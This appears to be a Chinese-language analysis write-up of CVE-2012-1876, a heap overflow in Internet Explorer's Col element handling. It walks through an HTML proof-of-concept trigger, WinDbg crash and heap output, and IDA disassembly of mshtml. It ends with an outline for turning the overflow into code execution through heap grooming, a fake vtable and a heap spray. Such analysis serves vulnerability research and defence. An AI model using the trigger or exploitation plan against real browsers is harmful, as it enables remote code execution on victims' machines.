CVE-2012-1876Microsoft Internet Explorer Col元素远程代码执行漏洞分析
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。
Microsoft Internet Explorer 6至9版本中存在漏洞,该漏洞源于未正确处理内存中的对象。远程攻击者可利用该漏洞通过试图访问不存在的对象执行任意代码。也称“Col元素远程代码执行漏洞”。
<html> <body> <table style="table-layout:fixed" > <col id="132" width="41" span="1" >  </col> </table> <script> function over_trigger() { var obj_col = document.getElementById("132"); obj_col.width = "42765"; obj_col.span = 1000; } setTimeout("over_trigger();",1); </script> </body> </html>
调试环境为win7+未打补丁的win7,使用windbg +ust +hpa .childdbg 1加载poc,crash信息如下
1:020> r eax=00000009 ebx=00001806 ecx=00010049 edx=0000000c esi=0d960ffc edi=0d961014 eip=66b1f167 esp=0461d7a8 ebp=0461d7b4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CTableColCalc::AdjustForCol+0x15: 66b1f167 890f mov dword ptr [edi],ecx ds:0023:0d961014=????????
因为是已开启页堆的情况下进行的调试的,所以猜测是触发了栅栏页引发的异常。看下edi的信息,如下。发现edi在堆d960f00中,堆底为d960ffc。而edi为0d961014差距还是很大的,同时此块堆只有分配记录没有释放记录说明不可能是UAF漏洞,又因为是写操作引起的那么应该就是堆的溢出.
1:020> dc edi 0d961014 ???????? ???????? ???????? ???????? ???????????????? 0d961024 ???????? ???????? ???????? ???????? ???????????????? 0d961034 ???????? ???????? ???????? ???????? ???????????????? 0d961044 ???????? ???????? ???????? ???????? ???????????????? 0d961054 ???????? ???????? ???????? ???????? ???????????????? 0d961064 ???????? ???????? ???????? ???????? ???????????????? 0d961074 ???????? ???????? ???????? ???????? ???????????????? 0d961084 ???????? ???????? ???????? ???????? ???????????????? 1:020> !heap -p -a edi address 0d961014 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) bdd1270: d960f00 fc - d960000 2000 73b88e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77954ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77917d96 ntdll!RtlpAllocateHeap+0x000000c4 778e34ca ntdll!RtlAllocateHeap+0x0000023a 668a6c94 mshtml!_HeapRealloc+0x00000036 668c8ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1 668002f7 mshtml!CTableLayout::CalculateMinMax+0x000001df 66800713 mshtml!CTableLayout::CalculateLayout+0x00000276 667eaf19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720 668dcc48 mshtml!CLayout::CalcSize+0x000002b8 668cf5d0 mshtml!CFlowLayout::MeasureSite+0x00000312 668cf31d mshtml!CFlowLayout::GetSiteWidth+0x00000156 668cf664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce 668cfb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150 70bd665d msls31!ProcessOneRun+0x000003e9 70bd6399 msls31!FetchAppendEscCore+0x0000018e 70bd6252 msls31!LsDestroyLine+0x0000047f 70bd61c3 msls31!LsDestroyLine+0x000009ff 70bd293f msls31!LsCreateLine+0x000000cb 668cdd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127 668e17cc mshtml!CLSMeasurer::LSMeasure+0x00000034 668e1ef5 mshtml!CLSMeasurer::Measure+0x000001e6 668e1db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c 668e11a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d 6690a8f6 mshtml!CDisplay::RecalcLines+0x000008bb 669b490f mshtml!CDisplay::WaitForRecalc+0x00000209 6694d534 mshtml!CFlowLayout::Notify+0x000007de 668b7515 mshtml!NotifyElement+0x00000041 668b727c mshtml!CMarkup::Notify+0x000000d6 668dc06c mshtml!CElement::SendNotification+0x0000004a 66947e44 mshtml!CElement::EnsureRecalcNotify+0x0000015f 668806e5 mshtml!CDisplayPointer::MoveUnit+0x000002b2
我们来kp看一下栈回溯,不对,应该看下kv的,注意下参数的传递
1:020> kp ChildEBP RetAddr 0461d7b4 66995b8e mshtml!CTableColCalc::AdjustForCol+0x15 0461d864 66800713 mshtml!CTableLayout::CalculateMinMax+0x52f 0461da80 667eaf19 mshtml!CTableLayout::CalculateLayout+0x276 0461dc2c 668dcc48 mshtml!CTableLayout::CalcSizeVirtual+0x720 0461dd64 668cf5d0 mshtml!CLayout::CalcSize+0x2b8 0461de28 668cf31d mshtml!CFlowLayout::MeasureSite+0x312 0461de70 668cf664 mshtml!CFlowLayout::GetSiteWidth+0x156 0461deb0 668cfb40 mshtml!CLSMeasurer::GetSiteWidth+0xce 0461df34 70bd665d mshtml!CEmbeddedILSObj::Fmt+0x150 0461dfc4 70bd6399 msls31!ProcessOneRun+0x3e9 0461e020 70bd6252 msls31!FetchAppendEscCore+0x18e 0461e074 70bd61c3 msls31!LsDestroyLine+0x47f 0461e0fc 70bd293f msls31!LsDestroyLine+0x9ff 0461e138 668cdd81 msls31!LsCreateLine+0xcb 0461e288 668e17cc mshtml!CLSMeasurer::LSDoCreateLine+0x127 0461e32c 668e1ef5 mshtml!CLSMeasurer::LSMeasure+0x34 0461e374 668e1db1 mshtml!CLSMeasurer::Measure+0x1e6 0461e398 668e11a2 mshtml!CLSMeasurer::MeasureLine+0x1c 0461e448 6690a8f6 mshtml!CRecalcLinePtr::MeasureLine+0x46d 0461ec50 669b490f mshtml!CDisplay::RecalcLines+0x8bb
1:020> kv ChildEBP RetAddr Args to Child 0461d7b4 66995b8e 00001806 0461daf8 00000001 mshtml!CTableColCalc::AdjustForCol+0x15 0461d864 66800713 00000009 0461daf8 00000013 mshtml!CTableLayout::CalculateMinMax+0x52f 0461da80 667eaf19 0461daf8 0461dac4 00000001 mshtml!CTableLayout::CalculateLayout+0x276 0461dc2c 668dcc48 0461ec90 0461de58 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720 0461dd64 668cf5d0 0b11aea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8 0461de28 668cf31d 0b11aea8 0002469e 0002469e mshtml!CFlowLayout::MeasureSite+0x312 0461de70 668cf664 1868bf00 00000061 0461ec90 mshtml!CFlowLayout::GetSiteWidth+0x156 0461deb0 668cfb40 0a3ecfb0 0b11aea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce 0461df34 70bd665d 1340aff8 0461df54 0461e018 mshtml!CEmbeddedILSObj::Fmt+0x150 0461dfc4 70bd6399 1277aefc 00000000 133e3d20 msls31!ProcessOneRun+0x3e9 (FPO: [Non-Fpo]) 0461e020 70bd6252 1277af18 000258dd 00000000 msls31!FetchAppendEscCore+0x18e (FPO: [Non-Fpo]) 0461e074 70bd61c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f (FPO: [Non-Fpo]) 0461e0fc 70bd293f 00000937 00003a44 00000000 msls31!LsDestroyLine+0x9ff (FPO: [Non-Fpo]) 0461e138 668cdd81 00000001 00000937 00003a44 msls31!LsCreateLine+0xcb (FPO: [Non-Fpo]) 0461e288 668e17cc 0461ec90 00000937 0a3ecfc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127 0461e32c 668e1ef5 0461eb90 0002469e 00000000 mshtml!CLSMeasurer::LSMeasure+0x34 0461e374 668e1db1 00000000 00025256 00000003 mshtml!CLSMeasurer::Measure+0x1e6 0461e398 668e11a2 00025256 00000003 1868bf40 mshtml!CLSMeasurer::MeasureLine+0x1c 0461e448 6690a8f6 0461e968 0b47d9f0 00000003 mshtml!CRecalcLinePtr::MeasureLine+0x46d 0461ec50 669b490f 0461ec90 000003e9 0000055e mshtml!CDisplay::RecalcLines+0x8bb
看下这个模块的信息,抓出来这个模块到ida中看下流程。
1:020> lmm mshtml v start end module name 666f0000 66ca2000 mshtml (pdb symbols) C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb Loaded symbol image file: C:\Windows\System32\mshtml.dll Image path: C:\Windows\System32\mshtml.dll Image name: mshtml.dll Timestamp: Tue Jul 14 09:08:26 2009 (4A5BDA8A) CheckSum: 005BE1C8 ImageSize: 005B2000 File version: 8.0.7600.16385 Product version: 8.0.7600.16385 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Windows® Internet Explorer InternalName: MSHTML OriginalFilename: MSHTML.DLL ProductVersion: 8.00.7600.16385 FileVersion: 8.00.7600.16385 (win7_rtm.090713-1255) FileDescription: Microsoft (R) HTML Viewer LegalCopyright: © Microsoft Corporation. All rights reserved.
结果发现模块加载的基址不一样,没法直接在IDA中跳过去。看下在IE进程里加载的基地址,如下。66b1f167-666f0000= 42F167,而IDA为如图74C20000+42F167=7504F167。
1:020> lm start end module name 01360000 01406000 iexplore (deferred) 666f0000 66ca2000 mshtml (pdb symbols) C:\symbols\mshtml.pdb\5B825981E9B445BBB998A27119FF0D6E2\mshtml.pdb 69b00000 69bb2000 jscript (deferred) 6b490000 6bf0c000 IEFRAME (deferred) 6e400000 6e43c000 OLEACC (deferred) 6eac0000 6eaee000 MLANG (deferred) 6ef90000 6ef96000 sensapi (deferred) 6f060000 6f0b2000 RASAPI32 (deferred) 6f4c0000 6f4eb000 ieproxy (deferred) 70550000 70582000 WINMM (deferred) 70710000 70714000 ksuser (deferred) 70720000 70750000 wdmaud (deferred) 70af0000 70b25000 IEShims (deferred) 70bc0000 70bc6000 rasadhlp (deferred) 70bd0000 70bfa000 msls31 (pdb symbols) C:\symbols\msls31.pdb\7919161B84F0418F9FCD19A720CF43902\msls31.pdb 71190000 711c0000 iepeers (deferred) 711e0000 71216000 AUDIOSES (deferred) 72140000 72178000 fwpuclnt (deferred) 72630000 72636000 IconCodecService (deferred) 72640000 726af000 ntshrui (deferred) 726b0000 726bb000 CSCAPI (deferred) 726c0000 726c9000 CSCDLL (deferred) 726d0000 7273a000 cscui (deferred) 72740000 72771000 EhStorShell (deferred) 72920000 72927000 WINNSI (deferred) 72930000 7294c000 iphlpapi (deferred) 72e10000 72e61000 WINSPOOL (deferred) 73390000 733a5000 rasman (deferred) 73b80000 73be0000 verifier (pdb symbols) C:\symbols\verifier.pdb\8878279C450C4F4DA6B252A4B824B4981\verifier.pdb 73cb0000 73cbe000 pngfilt (deferred) 73cc0000 73ccb000 msimtf (deferred) 73d00000 73d0b000 ImgUtil (deferred) 73da0000 73dad000 rtutils (deferred) 73f60000 73f67000 midimap (deferred) 73f70000 73f84000 MSACM32_73f70000 (deferred) 73f90000 73f98000 msacm32 (deferred) 73fd0000 740cb000 WindowsCodecs (deferred) 74160000 7416a000 slc (deferred) 74170000 74182000 pnrpnsp (deferred) 741a0000 741ad000 wshbth (deferred) 741b0000 741c0000 napinsp (deferred) 741c0000 741c8000 winrnr (deferred) 74360000 74381000 ntmarta (deferred) 74390000 743bf000 XmlLite (deferred) 743c0000 743d3000 dwmapi (deferred) 74510000 746a0000 gdiplus (deferred) 746a0000 7483e000 comctl32 (deferred) 74840000 74850000 NLAapi (deferred) 74860000 748a0000 uxtheme (deferred) 74bd0000 74bd7000 AVRT (deferred) 74be0000 74cd5000 propsys (deferred) 74ce0000 74d19000 MMDevAPI (deferred) 74ee0000 74ee9000 VERSION (deferred) 74f70000 74f75000 wshtcpip (deferred) 75200000 7523b000 rsaenh (deferred) 752e0000 75324000 dnsapi (deferred) 75410000 75416000 wship6 (deferred) 75420000 7545c000 mswsock (deferred) 75460000 75476000 CRYPTSP (deferred) 75570000 75589000 srvcli (deferred) 758c0000 758da000 SspiCli (deferred) 758e0000 7592b000 apphelp (deferred) 75930000 7593c000 CRYPTBASE (deferred) 75940000 7599f000 SXS (deferred) 759d0000 759de000 RpcRtRemote (deferred) 759e0000 759eb000 profapi (deferred) 75a50000 75a5c000 MSASN1 (deferred) 75a60000 75ae4000 COMCTL32_75a60000 (deferred) 75af0000 75b02000 DEVOBJ (deferred) 75b10000 75c2c000 CRYPT32 (deferred) 75c30000 75c7a000 KERNELBASE (deferred) 75cb0000 75cd7000 CFGMGR32 (deferred) 75ce0000 75d2e000 GDI32 (deferred) 75d30000 75d49000 sechost (deferred) 75d50000 75eac000 ole32 (deferred) 75eb0000 75f79000 USER32 (deferred) 75f80000 7602c000 msvcrt (deferred) 76030000 76c79000 SHELL32 (deferred) 76c80000 76cfb000 comdlg32 (deferred) 76d00000 76d83000 CLBCatQ (deferred) 76dc0000 76ef5000 urlmon (deferred) 76f00000 76fa1000 RPCRT4 (deferred) 76fb0000 77084000 kernel32 (deferred) 77090000 7722d000 SETUPAPI (deferred) 77230000 772bf000 OLEAUT32 (deferred) 772c0000 77360000 ADVAPI32 (deferred) 77360000 773fd000 USP10 (deferred) 77460000 7752c000 MSCTF (deferred) 77530000 77587000 SHLWAPI (deferred) 77590000 77789000 iertutil (deferred) 77790000 77884000 WININET (deferred) 77890000 779cc000 ntdll (pdb symbols) C:\symbols\ntdll.pdb\F0164DA71FAF4765B8F3DB4F2D7650EA2\ntdll.pdb 779d0000 779d5000 PSAPI (deferred) 779e0000 779e3000 Normaliz (deferred) 779f0000 77a0f000 IMM32 (deferred) 77a10000 77a16000 NSI (deferred) 77a20000 77a65000 WLDAP32 (deferred) 77a70000 77a7a000 LPK (deferred) 77a80000 77ab5000 ws2_32 (deferred)
得到了函数如下,我们可以看到edi=esi+0x18。而esi没有处理,说明是上层函数传递过来的。
; Attributes: bp-based frame sub_7504F152 proc near arg_0= dword ptr 8 arg_4= dword ptr 0Ch arg_8= dword ptr 10h mov edi, edi push ebp mov ebp, esp mov ecx, [eax] push ebx mov ebx, [ebp+arg_0] push edi mov eax, ecx and eax, 0Fh lea edi, [esi+18h] push eax mov [edi], ecx
我们看下上层函数66995b8e-666f0000= 2A5B8E,2A5B8E+74C20000=74EC5B8E。首先esi来自于局部变量,在看下var_24的值
mov esi, [ebp+var_24] push [ebp+var_C] call sub_7504F152
如果去跟进CTableLayout::CalculateMinMax函数,也就是crash函数的上层函数可以发现一些东西。首先是这个函数的第一个参数的意义
2:029> dc esp 046ae190 65bb0713 08100ea8 046ae420 00000000 ...e.... .j..... 046ae1a0 00000000 08100ea8 08100ea8 7777517e ............~Qww 046ae1b0 77737d96 00050000 00000000 ffffffff .}sw............ 046ae1c0 00000000 00000000 00000000 00000000 ................ 046ae1d0 00000000 ffffffff 00000000 0045852c ............,.E. 046ae1e0 00000000 00000000 7776c3a9 046ae208 ..........vw..j. 046ae1f0 00000000 00000000 00000000 0760afe0 ..............`. 046ae200 00000000 00000000 046ae2a8 7776c979 ..........j.y.vw 2:029> dc 08100ea8 08100ea8 65aa9868 047a5f30 084adfb8 65c64918 h..e0_z...J..I.e 08100eb8 00000001 00000000 0108080d ffffffff ................ 08100ec8 00000000 00000000 00000000 ffffffff ................ 08100ed8 0002783a 00011d8c 00000000 00000000 :x.............. 08100ee8 00000000 00412802 00000000 00000000 .....(A......... 08100ef8 00000000 00000001 ffffffff ffffffff ................ 08100f08 ffffffff ffffffff 65aa9fd0 00000004 ...........e.... 08100f18 00000004 08120ff0 65aa9fd0 00000004 ...........e.... 2:029> ln 65aa9868 (65aa9868) mshtml!CTableLayout::`vftable' | (65aa99a8) mshtml!CTableLayoutBlock::`vftable' Exact matches: mshtml!CTableLayout::`vftable' = <no type information>
由此可见arg1就是CTableLayout对象的指针。而这个对象对应的其实就是<table>标签。接着往下跟会发现又取用了此对象中的一个成员,如下
2:029> p eax=00000000 ebx=08100ea8 ecx=00412802 edx=ffffffff esi=046ae420 edi=046ae3ec eip=65bb01a6 esp=046ae0f4 ebp=046ae18c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTableLayout::CalculateMinMax+0x1c: 65bb01a6 8b4354 mov eax,dword ptr [ebx+54h] ds:0023:08100efc=00000001
据说,这个值代表span属性的个数,那么根据poc就是1了。然后后面还有一个取用对象成员的语句,如下。
2:029> eax=00000000 ebx=08100ea8 ecx=00000000 edx=00000001 esi=046adc38 edi=00000000 eip=65bb02cc esp=046ad908 ebp=046ad9a4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x1b1: 65bb02cc 8b8394000000 mov eax,dword ptr [ebx+94h] ds:0023:08100f3c=00000004
又据说,这个值用来与span的个数做比较,叫做spancmp,然后又调用了一个分配内存的函数
.text:74DF8FB7 ; int __stdcall CImplAry::EnsureSizeWorker(size_t) .text:74DF8FB7 ?EnsureSizeWorker@CImplAry@@AAEJIJ@Z proc near .text:74DF8FB7 ; CODE XREF: CSelectionRenderingServiceProvider::GetSelectionChunksForLayout(CFlowLayout *,CRenderInfo *,CDataAry<HighlightSegment> *,int *,int *)-6B92p .text:74DF8FB7 ; CView::DeferTransition(COleSite *)+3Fp ... .text:74DF8FB7 .text:74DF8FB7 dwBytes = dword ptr -8 .text:74DF8FB7 var_4 = dword ptr -4 .text:74DF8FB7 arg_0 = dword ptr 8 .text:74DF8FB7 .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E02CB4 SIZE 00000036 BYTES .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74E3BEEC SIZE 0000003D BYTES .text:74DF8FB7 ; FUNCTION CHUNK AT .text:74EBD6E7 SIZE 0000000D BYTES .text:74DF8FB7 .text:74DF8FB7 mov edi, edi .text:74DF8FB9 push ebp .text:74DF8FBA mov ebp, esp .text:74DF8FBC push ecx .text:74DF8FBD push ecx .text:74DF8FBE push ebx .text:74DF8FBF push esi .text:74DF8FC0 mov esi, eax .text:74DF8FC2 push 4 .text:74DF8FC4 pop eax .text:74DF8FC5 mov [ebp+var_4], eax .text:74DF8FC8 cmp esi, eax .text:74DF8FCA jnb loc_74E02CB4 .text:74DF8FD0 .text:74DF8FD0 loc_74DF8FD0: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+9D00j .text:74DF8FD0 ; CImplAry::EnsureSizeWorker(uint,long)+9D25j ... .text:74DF8FD0 mov eax, [ebp+var_4] .text:74DF8FD3 mul [ebp+arg_0] .text:74DF8FD6 push edx .text:74DF8FD7 push eax .text:74DF8FD8 lea eax, [ebp+dwBytes] .text:74DF8FDB call ?ULongLongToUInt@@YGJ_KPAI@Z ; ULongLongToUInt(unsigned __int64,uint *) .text:74DF8FE0 mov ebx, eax .text:74DF8FE2 test ebx, ebx .text:74DF8FE4 jnz short loc_74DF900B .text:74DF8FE6 test byte ptr [edi+4], 2 .text:74DF8FEA jnz loc_74E3BEEC .text:74DF8FF0 push [ebp+dwBytes] ; dwBytes .text:74DF8FF3 lea esi, [edi+0Ch] .text:74DF8FF6 call ?_HeapRealloc@@YGJPAPAXI@Z ; _HeapRealloc(void * *,uint) .text:74DF8FFB mov ebx, eax .text:74DF8FFD test ebx, ebx .text:74DF8FFF jnz short loc_74DF900B .text:74DF9001 .text:74DF9001 loc_74DF9001: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+42F6Dj .text:74DF9001 mov eax, [ebp+var_4] .text:74DF9004 and dword ptr [edi+4], 0FFFFFFFDh .text:74DF9008 mov [edi+8], eax .text:74DF900B .text:74DF900B loc_74DF900B: ; CODE XREF: CImplAry::EnsureSizeWorker(uint,long)+2Dj .text:74DF900B ; CImplAry::EnsureSizeWorker(uint,long)+48j ... .text:74DF900B pop esi .text:74DF900C mov eax, ebx .text:74DF900E pop ebx .text:74DF900F leave .text:74DF9010 retn 4
由于我没有对于IE对象的知识只好跟着泉哥的分析走,如下
- crash函数的上层函数CTableLayout::CalculateMinMax的第一个参数为<table>的对象CtableLayout,由于一直在使用[ebx+xx]的形式索引值所以可以依据这个来推断。
- CtableLayout+0x54是spannum就是span属性的值,为1
- CtableLayout+0x9C是分配的堆的指针,是上面那个函数分配的(泉哥写的是0x90,但是根据调试结果来看是0x9C应该是印刷错误)
- CtableLayout+0x94是泉哥所说的用来与spannum比较的spancmp,这个值为4
值得注意的一点是,上面这一切的操作都是poc的起始几句话所引起的,也就是一个对应的关系。
<table style="table-layout:fixed" > <col id="132" width="41" span="1" >  </col> </table>
这个也就是为什么会有span等于1,我们先整理一下数据。
CtableLayout+0x54=1,如下
2:029> dc 08100ea8+0x54 l1 08100efc 00000001 ....
CtableLayout+0x94=4,如下
2:029> dc 08100ea8+0x94 l1 08100f3c 00000004 ....
2:029> dc 08100ea8+0x9c l1 08100f44 07e34f90 .O.. 2:029> !heap -p -a 07e34f90 address 07e34f90 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 7dd0548: 7e34f90 70 - 7e34000 2000 77888e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77774ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77737d96 ntdll!RtlpAllocateHeap+0x000000c4 777034ca ntdll!RtlAllocateHeap+0x0000023a 65c56c94 mshtml!_HeapRealloc+0x00000036 65c78ffb mshtml!CImplAry::EnsureSizeWorker+0x000000a1 65bb02f7 mshtml!CTableLayout::CalculateMinMax+0x000001df 65bb0713 mshtml!CTableLayout::CalculateLayout+0x00000276 65b9af19 mshtml!CTableLayout::CalcSizeVirtual+0x00000720 65c8cc48 mshtml!CLayout::CalcSize+0x000002b8 65c7f5d0 mshtml!CFlowLayout::MeasureSite+0x00000312 65c7f31d mshtml!CFlowLayout::GetSiteWidth+0x00000156 65c7f664 mshtml!CLSMeasurer::GetSiteWidth+0x000000ce 65c7fb40 mshtml!CEmbeddedILSObj::Fmt+0x00000150 6f91665d msls31!ProcessOneRun+0x000003e9 6f916399 msls31!FetchAppendEscCore+0x0000018e 6f916252 msls31!LsDestroyLine+0x0000047f 6f9161c3 msls31!LsDestroyLine+0x000009ff 6f91293f msls31!LsCreateLine+0x000000cb 65c7dd81 mshtml!CLSMeasurer::LSDoCreateLine+0x00000127 65c917cc mshtml!CLSMeasurer::LSMeasure+0x00000034 65c91ef5 mshtml!CLSMeasurer::Measure+0x000001e6 65c91db1 mshtml!CLSMeasurer::MeasureLine+0x0000001c 65c911a2 mshtml!CRecalcLinePtr::MeasureLine+0x0000046d 65c933d9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x00000440 65c930eb mshtml!CDisplay::RecalcLines+0x0000006b 65c93015 mshtml!CDisplay::RecalcView+0x0000006d 65c92fc8 mshtml!CFlowLayout::CalcTextSize+0x0000043d 65b9eb06 mshtml!CFlowLayout::CalcSizeCoreCompat+0x00001045 65c902ee mshtml!CFlowLayout::CalcSizeCore+0x00000049 65c90367 mshtml!CBodyLayout::CalcSizeCore+0x000000d8 65c9029c mshtml!CFlowLayout::CalcSizeVirtual+0x000001af
CtableLayout+0x9C就是上面分配的堆指针。根据信息可以看到是0x70大小。
之后会因为function over_trigger()函数的调用,又一次进入到crash函数的上层函数里,所以上面我们才要进行一下区分。如下所示是调用获取span值的函数,eax为返回值为1000正好对应了我设置的 obj_col.span = 1000;
call ?GetAAspan@CTableCol@@QBEHXZ ; CTableCol::GetAAspan(void)
2:028> p eax=000003e8 ebx=07cd0ea8 ecx=00000002 edx=07cf2ff0 esi=05dd4fac edi=07d04fd0 eip=65d45a33 esp=0442d9b8 ebp=0442da54 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x383: 65d45a33 3de8030000 cmp eax,3E8h
然后执行了获取要复制的长度的函数
.text:74EC5AB3 call ?GetPixelWidth@CWidthUnitValue@@QBEHPBVCDocInfo@@PAVCElement@@H@Z ; CWidthUnitValue::GetPixelWidth(CDocInfo const *,CElement *,int) .text:74EC5AB8 cmp [ebp+var_5C], 0 .text:74EC5ABC mov [ebp+var_2C], eax
总结就是span在第一次时分配了内存而第二次时并没有,造成了往4*0x1c的内存中写入1000*0x1c数据的情况。
漏洞利用
关于漏洞利用,对于漏洞利用其实我们只需要清楚这几点
1.写入的内容:width*100
2.写入的长度:span*0x1C
3.造成溢出的内存块:table标签为span属性分配的大小为0x70的堆内存,此内存的地址储存在table标签对应的C++对象——CtableLayout对象的0x9C偏移处。
那么利用的思路就是先释放一批0x70的堆块,然后让溢出堆块去占用它们。这样溢出发生后就可以指定的去溢出目标了,这样可以溢出后面一个对象然后伪造虚表+堆喷就可以了。